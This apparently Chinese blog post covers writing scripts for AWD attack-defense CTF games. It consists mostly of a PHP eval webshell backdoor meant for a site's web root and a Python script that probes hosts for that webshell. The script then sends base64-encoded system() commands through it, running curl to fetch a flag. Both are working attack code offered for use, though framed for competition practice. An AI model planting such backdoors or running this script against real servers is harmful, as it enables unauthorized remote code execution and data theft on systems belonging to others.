当前位置: 首页 > article >正文

AWD脚本编写_1

AWD脚本编写_1

shell.php(放在网站根目录下)
<?php
error_reporting(0);
eval($_GET["yanxiao"]);
?>

脚本编写成功

image-20241117182141379

 

后门文件利用与解析
import requests
import base64

def get_flag(url, flag_url, method, passwd, flag_path):
    cmd = "curl " + flag_url  # 修复命令拼写错误
    get_cmd = "echo system(\"%s\");" % cmd

    data = {}
    data[passwd] = "@eval(base64_decode($_POST['z0']));"
    data['z0'] = base64.b64encode(get_cmd.encode('utf-8')).decode('utf-8')  # 修复编码错误

    if method == "get":
        url = "http://" + url + "/" + flag_path  # 修复 URL 格式
        try:
            res = get_re(url)
        except Exception as e:
            print(f"{url} connection_timeout: {e}")
            return 0
        if res.status_code != 200:
            print(f"{url} webshell not found")
            return 0
        else:
            print(f"{url} webshell is found")

    elif method == "post":
        try:
            res = post_re(url, data)  # 传递 data 参数
            print(res.content)  # 打印响应内容
        except Exception as e:
            print(f"{url} connection_timeout: {e}")
            return 0
        if res.status_code != 200:
            print(f"{url} webshell not found")
            return 0
        else:
            print(f"{url} webshell is found")

def get_re(url):
    res = requests.get(url=url, timeout=5)
    return res

def post_re(url, data):  # 添加 data 参数
    res = requests.post(url=url, data=data, timeout=5)
    return res

url = "127.0.0.1"
flag_url = "http://192.168.45.1"
method = "get"
passwd = "yanxiao"
flag_path = "shell.php"

get_flag(url, flag_url, method, passwd, flag_path)

#http://127.0.0.1/shell.php webshell is found

http://www.kler.cn/a/398900.html

相关文章:

  • 【流量分析】常见webshell流量分析
  • 《Python 网络爬虫》
  • 文心一言编写小球反弹程序并优化
  • C++之内存管理
  • 蓝桥杯备赛(持续更新)
  • 大数据如何助力干部选拔的公正性
  • JQuery 基础知识学习(详尽版)2024.11.17
  • 内联函数与普通函数有什么区别?如何定义和使用内联函数?
  • Thinkphp6视图介绍
  • oracle19c开机自启动
  • 洛谷刷题日记||基础篇8
  • HarmonyOs DevEco Studio小技巧31--卡片的生命周期与卡片的开发
  • uni-app快速入门(八)--常用内置组件(上)
  • 人机界面中的数据、信息、知识、算法分层
  • UE5遇到问题记录—在sequence制作时如何让角色隐藏/显示?
  • 数据结构_图的遍历
  • springboot整合elasticsearch,并使用docker desktop运行elasticsearch镜像容器遇到的问题。
  • 游戏引擎学习第14天
  • B-树介绍
  • 深入Linux基础:文件系统与进程管理详解
  • OpenSSL 自签名
  • 3D数据格式转换工具HOOPS Exchange如何在读取CAD文件时处理镶嵌数据?
  • java数据类型之间的转换|超详解
  • 腾讯云轻量应用服务器部署私有笔记,立省365元
  • spring boot接收参数
  • 大数据挖掘